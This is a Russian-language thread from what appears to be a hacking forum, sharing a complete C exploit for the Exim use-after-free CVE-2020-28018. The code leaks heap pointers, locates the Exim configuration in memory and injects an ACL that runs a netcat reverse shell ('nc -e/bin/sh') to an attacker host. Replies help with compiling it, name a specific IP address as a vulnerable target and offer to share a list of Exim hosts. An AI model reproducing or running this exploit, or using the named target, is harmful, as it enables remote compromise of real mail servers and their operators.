• XSS.stack #1 – первый литературный журнал от юзеров форума

Remote RCE, Exim, CVE-2020-28018

sandrasong

floppy-диск
Пользователь
Регистрация
24.02.2021
Сообщения
1
Реакции
0
PoC
C:
/*

    CVE-2020-28018 PoC: Exim Use-After-Free leading to Remote Code Execution

    - @lockedbyte -

    For more information on this exploit visit: https://adepts.of0x.cc/exim-cve-2020-28018/
    You can visit the official Qualys advisory here: https://www.qualys.com/2021/05/04/21nails/21nails.txt

*/


#include <stdio.h>
#include <errno.h>
#include <unistd.h>
#include <malloc.h>
#include <string.h>
#include <time.h>
#include <sys/socket.h>
#include <resolv.h>
#include <netdb.h>
#include <openssl/ssl.h>
#include <openssl/err.h>

/*
    You may need to change this config for this exploit to work
      on your specific version of exim, config, libc used etc
*/

/* -- START EXP CONFIG -- */

#define PIPLN_ITER 0x9 /* PIPLN_ITER fill for leak phase */
#define POST_PIPLN_ITER 0x2 /* POST_PIPLN_ITER fill for leak phase */
#define BASE_OFF 0x8fd90 /* offset from your leak to heap base */
#define STRCT_OV_PAD 0x8 /* padding for struct overwrite (alignment for struct overwrite) */
#define PRE_FILL_OV 0x3 /* pre-fill for struct overwrite */
#define POST_JUNK_ALIGN 0x708 /* POST_JUNK_ALIGN fill for struct overwrite */
#define SEND_SZ_OV 0x200 /* bytes to send so SEND_SZ_OV*DATA_X_ITER makes header max err happen */
#define DATA_X_ITER 0x800 /* number of times to send MSG to reach header max err */
#define EHLO_PAD 0x16e /* EHLO pad for heap requests */
#define CFG_QUERY "acl_check_mail" /* ACL used for MAIL FROM checking */

/* -- END EXP CONFIG */

/* -- START EXP SETTINGS -- */

unsigned int output_level = 0;
unsigned int pause_s = 0;
unsigned int escalate = 0;

#define DEBUG 0
#define DELAY_TIME 0.5 /* if connection is giving problems, increase this value */

/*-- END EXP SETTINGS -- */


#ifndef INJECT_CFG /* you can change the command here to another one, by default a netcat reverse shell to the specified host and port is executed */
    #define INJECT_CFG "acl_check_mail:(condition = ${run{/bin/sh -c 'nc -e/bin/sh %s %d'}})"
#endif

#ifndef FAIL
    #define FAIL -1
#endif

#ifndef HEXDUMP_COLS
    #define HEXDUMP_COLS 16
#endif

#ifndef MAX_HOST
    #define MAX_HOST 4096
#endif

#ifndef MAX_CONFIG_SZ
    #define MAX_CONFIG_SZ 1024
#endif

#ifndef MAX_PIPLN_SZ
    #define MAX_PIPLN_SZ 1024*1024
#endif

#ifndef MAX_STRUCT_OVERWRITE_SZ
    #define MAX_STRUCT_OVERWRITE_SZ 1024*1024 + 500
#endif

#ifndef ADDR_ANY_X
    #define ADDR_ANY_X "0.0.0.0"
#endif

#ifndef MAX_POST_PIPLN_SZ
    #define MAX_POST_PIPLN_SZ 1024*1024
#endif

#ifndef HEAP_RANGE_OFF
    #define HEAP_RANGE_OFF 0x100000 /* heap range where to search for config from heap base */
#endif

enum CONN_T {CLEARTEXT_T, TLS_T};

SSL_CTX *ctx = NULL;

unsigned int leak_flg = 0; /* are we leaking something on this data exchange? */
unsigned int data_flg = 0; /* is there data to show through hexdump? */
unsigned int found_flg = 0; /* is the config address found? */
unsigned int mem_flg = 0; /* is the memory we are sending binary data? or string? */

unsigned long READ_SZ = 0x1000; /* default read size to receive on arbitrary read */

unsigned long heap_base = NULL; /* we will save here heap base address when leaked */
unsigned long curr_heap = NULL; /* curr heap for config search */
unsigned long config_addr = NULL; /* when finding config address, we will save it here */

char *mem_exfil = NULL; /* used for exfiltrating memory */

/* --- START COMMANDS --- */

#define EHLO_CMD "EHLO pwner\n" /* EHLO msg */
#define STARTTLS_CMD "STARTTLS\n" /* command to start a TLS connection */
#define PIPLN_01_CMD_X "MAIL FROM: <>\nNO" /* MAIL FROM + pipeline first half NOOP */
#define PIPLN_02_CMD "OP\n" /* rest of NOOP */

/* --- END COMMANDS --- */


/* --- START CONN-RELATED FUNCTIONS --- */

/* connect to target server */

int remote_conn(const char *hostname, int port) {
    int sd = 0;
    struct hostent *host = NULL;
    struct sockaddr_in addr;
    if((host = gethostbyname(hostname)) == NULL) {
        puts("[-] Something went wrong resolving target hostname");
        exit(1);
    }
    sd = socket(PF_INET, SOCK_STREAM, 0);
    bzero(&addr, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(port);
    addr.sin_addr.s_addr = *(long*)(host->h_addr);
    if(connect(sd, (struct sockaddr*)&addr, sizeof(addr)) != 0) {
        close(sd);
    puts("[-] Something went wrong connecting to target");
    exit(1);
    }
    return sd;
}

/* OpenSSL's init CTX */

SSL_CTX *init_ctx_x(void) {
    SSL_METHOD *method = NULL;
    SSL_CTX *ctx = NULL;
    OpenSSL_add_all_algorithms();
    SSL_load_error_strings();
    method = TLSv1_2_client_method();
    ctx = SSL_CTX_new(method);
    if (ctx == NULL) {
        puts("[-] Something went wrong in init_ctx_x()");
        exit(1);
    }
    return ctx;
}

/* initialize encrypted connection channel */

SSL *initialize_enc_channel(int fd) {
    SSL *ssl = NULL;
    SSL_library_init();
    ctx = init_ctx_x();
    ssl = SSL_new(ctx);
    SSL_set_fd(ssl, fd);
    if(SSL_connect(ssl) == FAIL) {
        puts("[-] Something went wrong initializing encrypted channel");
        return NULL;
    }
    return ssl;
}

/* show server TLS certificates */

void show_certs(SSL* ssl) {
    X509 *cert = NULL;
    char *line = NULL;
    
    cert = SSL_get_peer_certificate(ssl);
    
    if (cert != NULL) {
        printf("[+] Server certificates:\n");
        line = X509_NAME_oneline(X509_get_subject_name(cert), 0, 0);
        printf("\t[i] Subject: %s\n", line);
        if(line)
            free(line);
        line = X509_NAME_oneline(X509_get_issuer_name(cert), 0, 0);
        printf("\t[i] Issuer: %s\n", line);
        if(line) {
            free(line);
            line = NULL;
        }
        if(cert) {
            X509_free(cert);
            cert = NULL;
        }
    } else
        puts("[i] No client certificates configured");
        
    return;
}

/* close TLS session */

void close_tls_channel(SSL *ssl) {
    SSL_shutdown(ssl);
    SSL_free(ssl);
    return;
}


/* send data to server */

int send_data(long fd, char *buf, size_t size, int method_t) {
    int ret = 0;
    switch(method_t) {
        case CLEARTEXT_T:
            ret = write(fd, buf, size);
            break;
        case TLS_T:
            ret = SSL_write((SSL *)fd, buf, size);
            break;
        default:
            puts("[-] Unknown error ocurred.");
            exit(1);
    }
    return ret;
}

/* receive data from server */

int recv_data(long fd, char *buf, size_t size, int method_t) {
    int ret = 0;
    switch(method_t) {
        case CLEARTEXT_T:
            ret = read(fd, buf, size);
            break;
        case TLS_T:
            ret = SSL_read((SSL *)fd, buf, size);
            break;
        default:
            puts("[-] Unknown error ocurred.");
            exit(1);
    }
    return ret;
}

/* send-receive function with different implementations */

void exchange_data(long fd, char *buf, size_t size, int send_flg, int recv_flg, int method_t) {

    if(send_flg) {
            #if DEBUG
                printf("[DEBUG] Sending: %s\n", buf);
            #endif
            if(!mem_flg)
            send_data(fd, buf, strlen(buf), method_t);
        else
            send_data(fd, buf, mem_flg, method_t);
    }
    
    sleep(DELAY_TIME);
    
    if(recv_flg) {
        if(data_flg) {
            recv_data(fd, mem_exfil, READ_SZ, method_t);
        } else if(mem_flg && !data_flg) {
            recv_data(fd, buf, size, method_t);
        } else {
            recv_data(fd, buf, size, method_t);
            buf[size-1] = '\0';
        }
        #if DEBUG
            printf("%s", buf);
        #endif
        if(leak_flg) {
            puts("\n[+] Memory leak: \n");
            hexdump(buf, size/16);
            puts("");
            identify_leak(buf, size);
        } else if(data_flg) {
            #if DEBUG
                puts("\n[+] Output Data: ");
                hexdump(mem_exfil, size/16);
                puts("");
            #endif
            identify_config(mem_exfil, MAX_POST_PIPLN_SZ);
        }
    }
    
    sleep(DELAY_TIME);
    
    return;
}

/* print an hexdump of the given data */

void hexdump(void *mem, unsigned int len) {
        unsigned int i = 0, j = 0;
        for(i = 0; i < len + ((len % HEXDUMP_COLS) ? (HEXDUMP_COLS - len % HEXDUMP_COLS) : 0); i++) {
                if(i % HEXDUMP_COLS == 0)
                        printf("\t0x%06x: ", i);
                if(i < len)
                        printf("%02x ", 0xFF & ((char*)mem)[i]);
                else
                        printf("   ");
                if(i % HEXDUMP_COLS == (HEXDUMP_COLS - 1)) {
                        for(j = i - (HEXDUMP_COLS - 1); j <= i; j++) {
                                if(j >= len)
                                        putchar(' ');
                                else if(isprint(((char*)mem)[j]))
                                        putchar(0xFF & ((char*)mem)[j]);       
                                else
                                        putchar('.');
                        }
                        putchar('\n');
                }
        }
}

/* identify data by query (CFG_QUERY) */

char *strstrx(const char *str1, size_t sz_1, const char *str2) {
    int i = 0;
    char *f = NULL;
    while(i < sz_1) {
        if(str1[i] == str2[0]) {
            if(memcmp(str1+i, str2, strlen(str2)) == 0) {
                f = str1+i;
                break;
            }
        }
        i++;
    }
    return f;
}

/* pause to use for each phase (just for debugging) */

void pausex(void) {
    char buf[1];
    read(0, buf, 1);
    return;
}

/* reinitialize a buffer for sending-receiving */

void reinit_mem(char *buf, size_t size, const char *str) {
    memset(buf, '\0', size);
    if(mem_flg) {
        memcpy(buf, str, mem_flg);
        return;
    }
    strncpy(buf, str, size);
    buf[size-1] = '\0';
    return;
}

/* parse data to identify config using CFG_QUERY */

void identify_config(char *buf, size_t size) {
    char *f = NULL;
    unsigned long r_ptr = NULL;
    buf[size-1] = '\0';
    f = strstrx(buf, size, CFG_QUERY);
    if(f) {
        found_flg = 1;
        r_ptr = curr_heap+(f-buf);
        config_addr = r_ptr;
    }
    return;
}

/* parse leak to identify heap pointers on data dump */

void identify_leak(char *buf, size_t size) {
    int i = 0, x = 0;
    uint64_t *leak = NULL;
    int addr_idx = 0;
    char lk[sizeof(uint64_t)];
    
    memset(lk, '\0', sizeof(lk));
    
    while(i < size) {
        if(buf[i++] == 0x55) {
            addr_idx = i+2;
            break;
        }
    }
    
    x = 0;
    while(x < sizeof(uint64_t)) {
        lk[x++] = buf[(addr_idx++)-8];
    }
    
    leak = &lk;
    heap_base = *leak - BASE_OFF;
    
    printf("\t[+] Leaked heap address = 0x%lx\n", *leak);
    printf("\t[+] Leaked heap_base = 0x%lx\n\n", heap_base);
    
    return;
}

/* info leak */

int leak_phase(char *hostname, int port) {

    long fd = 0;
    int count = 0;
    int i = 0, x = 0;
    SSL *ssl = NULL;
    char *PIPLN_01_CMD = NULL;
    char *POST_PIPLN = NULL;
    char buf[4096];

    memset(buf, '\0', sizeof(buf));

    PIPLN_01_CMD = calloc(MAX_PIPLN_SZ, sizeof(char));
    POST_PIPLN = calloc(MAX_POST_PIPLN_SZ, sizeof(char));
    
    if(output_level)
        printf("[+] Connecting to %s:%d\n", hostname, port);
    
    fd = remote_conn(hostname, port);
    
    exchange_data(fd, buf, sizeof(buf)-1, 0, 1, CLEARTEXT_T);
    
    if(output_level)
        puts("[*] Sending EHLO...");
        
    reinit_mem(buf, sizeof(buf), EHLO_CMD);
    exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
    
    if(output_level)
        puts("[*] Initializing an encrypted TLS channel...");
        
    reinit_mem(buf, sizeof(buf), STARTTLS_CMD);
    exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
    
    ssl = initialize_enc_channel(fd);
    
    if(!ssl)
        return;
    
    if(output_level)
        printf("[+] Initialized encrypted channel with %s:%d (%s)\n", hostname,     
                                                                port,
                                                           SSL_get_cipher(ssl));
    show_certs(ssl);
    
    if(output_level)
        puts("[*] Sending EHLO...");
        
    reinit_mem(buf, sizeof(buf), EHLO_CMD);
    exchange_data(ssl, buf, sizeof(buf)-1, 1, 1, TLS_T);

    reinit_mem(buf, sizeof(buf), "MAIL FROM: <>\n");
    exchange_data(ssl, buf, sizeof(buf)-1, 1, 1, TLS_T);
    
    if(output_level)
        puts("[*] Sending pipelined command #1...");
    
    i = 0;
    while(i < PIPLN_ITER) {
        strncat(PIPLN_01_CMD, "RCPT TO: postmaster\n", MAX_PIPLN_SZ-1);
        i++;
    }
    strncat(PIPLN_01_CMD, "NO", MAX_PIPLN_SZ-1);

    reinit_mem(buf, sizeof(buf), PIPLN_01_CMD);
    exchange_data(ssl, buf, sizeof(buf)-1, 1, 0, TLS_T);
    
    if(output_level)
        puts("[*] Closing TLS connection channel...");
        
    close_tls_channel(ssl);
    
    ssl = NULL;
    
    if(output_level)
        puts("[*] Sending pipelined command #2...");
        
    reinit_mem(buf, sizeof(buf), PIPLN_02_CMD);
    exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);

    for(int j = 0 ; j < POST_PIPLN_ITER ; j++)
        strncat(POST_PIPLN, "RCPT TO: root@localhost\n", MAX_POST_PIPLN_SZ-1);
    
    reinit_mem(buf, sizeof(buf), POST_PIPLN);
    exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
    
    if(output_level)
        puts("[*] Sending EHLO...");
    
    reinit_mem(buf, sizeof(buf), EHLO_CMD);
    exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
    
    if(output_level)
        puts("[*] Re-initializing an encrypted TLS channel...");
    
    reinit_mem(buf, sizeof(buf), STARTTLS_CMD);
    exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
    
    ssl = initialize_enc_channel(fd);
    
    if(!ssl)
        return;
    
    if(output_level)
        printf("[+] Initialized encrypted channel with %s:%d (%s)\n", hostname,
                                                                    port,
                                                                 SSL_get_cipher(ssl));
    
    if(output_level)
        puts("[*] Triggering Use-After-Free...");
    
    leak_flg = 1;
    
    reinit_mem(buf, sizeof(buf), "NOOP\r\n");
    exchange_data(ssl, buf, sizeof(buf)-1, 1, 1, TLS_T);
    
    leak_flg = 0;
    
    if(PIPLN_01_CMD) {
        free(PIPLN_01_CMD);
        PIPLN_01_CMD = NULL;
    }

    if(POST_PIPLN) {
        free(POST_PIPLN);
        POST_PIPLN = NULL;
    }
    
    if(ssl) {
        SSL_free(ssl);
        ssl = NULL;
    }
    if(ctx) {
        SSL_CTX_free(ctx);
        ctx = NULL;
    }
    
    close(fd);

    return 1;
}

/* arbitrary read primitive */

int arbitrary_read(char *hostname, int port) {
    long fd = 0;
    int count = 0, curr = 0;
    int i = 0, x = 0, l = 0;
    SSL *ssl = NULL;
    char *STRUCT_OVERWRITE = NULL;
    unsigned long inject_point = NULL;
    char buf[4096];
    char tmp_cmd[2000];

    memset(buf, '\0', sizeof(buf));
    memset(tmp_cmd, '\0', sizeof(tmp_cmd));

    STRUCT_OVERWRITE = calloc(MAX_STRUCT_OVERWRITE_SZ, sizeof(char));
    
    if(output_level)
        printf("[+] Connecting to %s:%d\n", hostname, port);
    
    fd = remote_conn(hostname, port);
    
    exchange_data(fd, buf, sizeof(buf)-1, 0, 1, CLEARTEXT_T);

    reinit_mem(buf, sizeof(buf), EHLO_CMD);
    exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
        
    reinit_mem(buf, sizeof(buf), STARTTLS_CMD);
    exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
    
    ssl = initialize_enc_channel(fd);
    
    if(!ssl)
        return;
    
    reinit_mem(buf, sizeof(buf), EHLO_CMD);
    exchange_data(ssl, buf, sizeof(buf)-1, 1, 1, TLS_T);

    reinit_mem(buf, sizeof(buf), "MAIL FROM: <>\n");
    exchange_data(ssl, buf, sizeof(buf)-1, 1, 1, TLS_T);
    
    i = 0;
    while(i < PRE_FILL_OV) {
        reinit_mem(buf, sizeof(buf), "RCPT TO: <postmaster>\n");
        exchange_data(ssl, buf, sizeof(buf)-1, 1, 1, TLS_T);
        i++;
    }


    reinit_mem(buf, sizeof(buf), "RCPT TO: <postmaster>\nNO");
    exchange_data(ssl, buf, sizeof(buf)-1, 1, 0, TLS_T);
        
    close_tls_channel(ssl);
    ssl = NULL;
        
    reinit_mem(buf, sizeof(buf), PIPLN_02_CMD);
    exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
    
    memcpy(tmp_cmd, "EHLO ", 5);
    
    i = 0;
    while(i < EHLO_PAD) {
        tmp_cmd[i+5] = 0x41;
        i++;
    }
    tmp_cmd[i+5] = 0x0a;
    
    reinit_mem(buf, sizeof(buf), tmp_cmd);
    exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
    
    reinit_mem(buf, sizeof(buf), "MAIL FROM:<>\nRCPT TO: <postmaster>\nDATA\n");
    exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
    
    x = 8; // padding
    
    mem_flg = SEND_SZ_OV;
    
    memcpy(STRUCT_OVERWRITE, &curr_heap, 8);
    
    while(x < SEND_SZ_OV) {
        memcpy(STRUCT_OVERWRITE+x, &READ_SZ, 4);
        memcpy(STRUCT_OVERWRITE+x+4, &READ_SZ, 4);
        memcpy(STRUCT_OVERWRITE+x+8, &curr_heap, 8);
        x += 16;
    }
    
    x = 0;
    while(x < DATA_X_ITER) {
        reinit_mem(buf, sizeof(buf), STRUCT_OVERWRITE);
        exchange_data(fd, buf, sizeof(buf)-1, 1, 0, CLEARTEXT_T);
        sleep(0.5);
        x++;
    }
    
    mem_flg = 0;
    
    reinit_mem(buf, sizeof(buf), "XX\n");
    exchange_data(fd, buf, sizeof(buf)-1, 1, 0, CLEARTEXT_T);
    
    reinit_mem(buf, sizeof(buf), ".\n");
    exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);

    memset(tmp_cmd, '\0', sizeof(tmp_cmd));
    memcpy(tmp_cmd, "MAIL FROM: <someone@somewhere> AUTH= ", 37);
    
    i = 0;
    while(i < POST_JUNK_ALIGN) {
        tmp_cmd[i+37] = 0x52;
        i++;
    }
    tmp_cmd[i+37] = 0x0a;
    tmp_cmd[i+38] = 0x00;
    
    reinit_mem(buf, sizeof(buf), tmp_cmd);
    exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
    
    reinit_mem(buf, sizeof(buf), STARTTLS_CMD);
    exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
    
    ssl = initialize_enc_channel(fd);

    if(!ssl)
        return;

    data_flg = 1;
    
    memcpy(STRUCT_OVERWRITE, "MAIL FROM:<>\n", 14);
    
    reinit_mem(buf, sizeof(buf), STRUCT_OVERWRITE);
    exchange_data(ssl, buf, sizeof(buf)-1, 1, 1, TLS_T);
    
    data_flg = 0;
        
    if(STRUCT_OVERWRITE) {
        free(STRUCT_OVERWRITE);
        STRUCT_OVERWRITE = NULL;
    }
    
    if(ssl) {
        SSL_free(ssl);
        ssl = NULL;
    }
    
    if(ctx) {
        SSL_CTX_free(ctx);
        ctx = NULL;
    }
    
    close(fd);

    return 1;
}

/* implementation of a config search using leaked heap pointers + arbitrary read primitive */

int search_config(char *hostname, int port) {
    int i = 0, ret = 0;
    
    mem_exfil = calloc(HEAP_RANGE_OFF, sizeof(char));
    curr_heap = heap_base;
    
    while(i < (HEAP_RANGE_OFF/READ_SZ)) {

        arbitrary_read(hostname, port);
        curr_heap += READ_SZ;
        printf("\t[*] ptr = 0x%lx ; sz = %ld\n", curr_heap, READ_SZ);
        if(found_flg) {
            printf("\n\t[+] Config found at: 0x%lx\n\n", config_addr);
            ret = 1;
            break;
        }
        i++;
    }
    
    if(mem_exfil) {
        free(mem_exfil);
        mem_exfil = NULL;
    }
    
    return ret;
}

/* write-what-where primitive */

int write_what_where(char *hostname, int port, char *injected_config) {

    long fd = 0;
    int count = 0;
    int curr = 0;
    int i = 0, x = 0, l = 0;
    SSL *ssl = NULL;
    char *STRUCT_OVERWRITE = NULL;
    unsigned long inject_point = NULL;
    char buf[4096];
    char inject[4096];
    char tmp_cmd[2000];
    
    memset(buf, '\0', sizeof(buf));
    memset(inject, '\0', sizeof(inject));
    memset(tmp_cmd, '\0', sizeof(tmp_cmd));

    STRUCT_OVERWRITE = calloc(MAX_STRUCT_OVERWRITE_SZ, sizeof(char));
    
    if(output_level)
        printf("[+] Connecting to %s:%d\n", hostname, port);
    
    fd = remote_conn(hostname, port);
    
    exchange_data(fd, buf, sizeof(buf)-1, 0, 1, CLEARTEXT_T);



    reinit_mem(buf, sizeof(buf), EHLO_CMD);
    exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
        
    reinit_mem(buf, sizeof(buf), STARTTLS_CMD);
    exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
    
    ssl = initialize_enc_channel(fd);
    
    if(!ssl)
        return;
    
    reinit_mem(buf, sizeof(buf), EHLO_CMD);
    exchange_data(ssl, buf, sizeof(buf)-1, 1, 1, TLS_T);

    reinit_mem(buf, sizeof(buf), "MAIL FROM: <>\n");
    exchange_data(ssl, buf, sizeof(buf)-1, 1, 1, TLS_T);
    
    i = 0;
    while(i < PRE_FILL_OV) {
        reinit_mem(buf, sizeof(buf), "RCPT TO: <postmaster>\n");
        exchange_data(ssl, buf, sizeof(buf)-1, 1, 1, TLS_T);
        i++;
    }
    
    reinit_mem(buf, sizeof(buf), "RCPT TO: <postmaster>\nNO");
    exchange_data(ssl, buf, sizeof(buf)-1, 1, 0, TLS_T);
        
    close_tls_channel(ssl);
    ssl = NULL;
        
    reinit_mem(buf, sizeof(buf), PIPLN_02_CMD);
    exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
    
    memcpy(tmp_cmd, "EHLO ", 5);
    
    i = 0;
    while(i < EHLO_PAD) {
        tmp_cmd[i+5] = 0x41;
        i++;
    }
    tmp_cmd[i+5] = 0x0a;
    tmp_cmd[i+6] = 0x00;
    
    reinit_mem(buf, sizeof(buf), tmp_cmd);
    exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
    
    reinit_mem(buf, sizeof(buf), "MAIL FROM:<>\nRCPT TO: <postmaster>\nDATA\n");
    exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);

    inject_point = config_addr - strlen("501 (");
    printf("\t[+] inject_point = 0x%lx\n", inject_point);
    
    x = STRCT_OV_PAD; // padding
    mem_flg = SEND_SZ_OV;
    memcpy(STRUCT_OVERWRITE, "BBBBBB", 6);
    while(x < SEND_SZ_OV) {
        memcpy(STRUCT_OVERWRITE+x, "AAAA", 4);
        memcpy(STRUCT_OVERWRITE+x+4, "\x00\x00\x00\x00", 4);
        memcpy(STRUCT_OVERWRITE+x+8, &inject_point, 8);
        x += 16;
    }
    
    x = 0;
    while(x < DATA_X_ITER) {
        reinit_mem(buf, sizeof(buf), STRUCT_OVERWRITE);
        exchange_data(fd, buf, sizeof(buf)-1, 1, 0, CLEARTEXT_T);
        sleep(0.5);
        x++;
    }
    
    mem_flg = 0;
    
    reinit_mem(buf, sizeof(buf), "XX\n");
    exchange_data(fd, buf, sizeof(buf)-1, 1, 0, CLEARTEXT_T);
    
    reinit_mem(buf, sizeof(buf), ".\n");
    exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
    
    memset(tmp_cmd, '\0', sizeof(tmp_cmd));
    memcpy(tmp_cmd, "MAIL FROM: <someone@somewhere> AUTH= ", 37);
    
    i = 0;
    while(i < POST_JUNK_ALIGN) {
        tmp_cmd[i+37] = 0x52;
        i++;
    }
    tmp_cmd[i+37] = 0x0a;
    tmp_cmd[i+38] = 0x00;
    
    reinit_mem(buf, sizeof(buf), tmp_cmd);
    exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
    
    reinit_mem(buf, sizeof(buf), STARTTLS_CMD);
    exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
    
    ssl = initialize_enc_channel(fd);

    if(!ssl)
        return;
    
    snprintf(inject, sizeof(inject)-1, "MAIL FROM: %s\nMAIL FROM: <>\nRCPT TO: <root@localhost>\n", injected_config);
    
    reinit_mem(buf, sizeof(buf), inject);
    exchange_data(ssl, buf, sizeof(buf)-1, 1, 0, TLS_T);
        
    if(STRUCT_OVERWRITE) {
        free(STRUCT_OVERWRITE);
        STRUCT_OVERWRITE = NULL;
    }
    
    if(ssl) {
        SSL_free(ssl);
        ssl = NULL;
    }
    
    if(ctx) {
        SSL_CTX_free(ctx);
        ctx = NULL;
    }
    
    close(fd);

    return 1;
}

/* wrapping for write_what_where() */

int inject_cmd(char *hostname, int port, char *attacker_host, int attacker_port) {
    char injected_config[MAX_CONFIG_SZ];
    memset(injected_config, '\0', sizeof(injected_config));
    snprintf(injected_config, sizeof(injected_config)-1, INJECT_CFG, attacker_host, attacker_port);
    return write_what_where(hostname, port, injected_config);
}

int main(int argc, char *argv[]) {

    int TARGET_PORT = 0, ATTACKER_PORT = 0;
    pthread_t listener_p = 0;
    char TARGET_HOST[MAX_HOST];
    char ATTACKER_HOST[MAX_HOST];
    
    memset(TARGET_HOST, '\0', sizeof(TARGET_HOST));
    memset(ATTACKER_HOST, '\0', sizeof(ATTACKER_HOST));
        
    puts("[i] CVE-2020-28018 Proof-Of-Concept (PoC) exploit by @lockedbyte");

    if(argc < 5) {
        printf("[%%] Usage: %s <target host> <target port> <attacker host> <attacker port>\n", argv[0]);
        exit(0);
    }
    
    snprintf(TARGET_HOST, sizeof(TARGET_HOST)-1, "%s", argv[1]);
    TARGET_PORT = atoi(argv[2]);
    
    snprintf(ATTACKER_HOST, sizeof(ATTACKER_HOST)-1, "%s", argv[3]);
    ATTACKER_PORT = atoi(argv[4]);
    
    /* 1. we leak heap pointers to bypass ASLR */
    
    puts("[*] Leaking heap addresses...");
    
    if(!leak_phase(TARGET_HOST, TARGET_PORT)) {
        puts("[-] Something went wrong on memory leak phase");
        exit(0);
    }
    
    if(pause_s)
        pausex();
        
    /* 2. we search for exim config for exploit reliability purposes (not a fixed offset) */
    
    puts("[*] Searching for Exim configuration in memory...\n");
    
    if(!search_config(TARGET_HOST, TARGET_PORT)) {
        puts("[-] Something went wrong on config search phase");
        exit(0);
    }
    
    puts("[i] Execute netcat now to listen for reverse shell and press enter...");
    
    pausex();
    
    /* 3. we corrupt an ACL to run an arbitrary command */
    
    puts("[*] Corrupting Exim configuration with a malicious entry...");

    if(!inject_cmd(TARGET_HOST, TARGET_PORT, ATTACKER_HOST, ATTACKER_PORT)) {
        puts("[-] Something went wrong on config corruption phase");
        exit(0);
    }
    
    puts("[+] Exploit completed!");
    
    return 0;
}

 
Пожалуйста, обратите внимание, что пользователь заблокирован
Пытался компилровать, но выдало множество варнингов и ошибку
collect2: error: ld returned 1 exit status
а как её исправить не понятно
 
Пытался компилровать, но выдало множество варнингов и ошибку
collect2: error: ld returned 1 exit status
а как её исправить не понятно
gcc exim.c -lcrypto -lssl -o exim.exe
 
corax
Тут уже скомпиленный: https://github.com/lockedbyte/CVE-Exploits/tree/master/CVE-2020-28018
Правда он не полностью отработал у меня. Что должно быть на attacker host поднято, кто-то вник?
У вас должно быть более 500 сообщений для просмотра скрытого контента.
Пример уязвимого хоста
./exploit 168.215.194.18 587 0.0.0.0 5555

Кстати, может выложить базу хостов EXIM? Если пост наберет 10 лайков - пришлю всем в личку ссылку :D
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх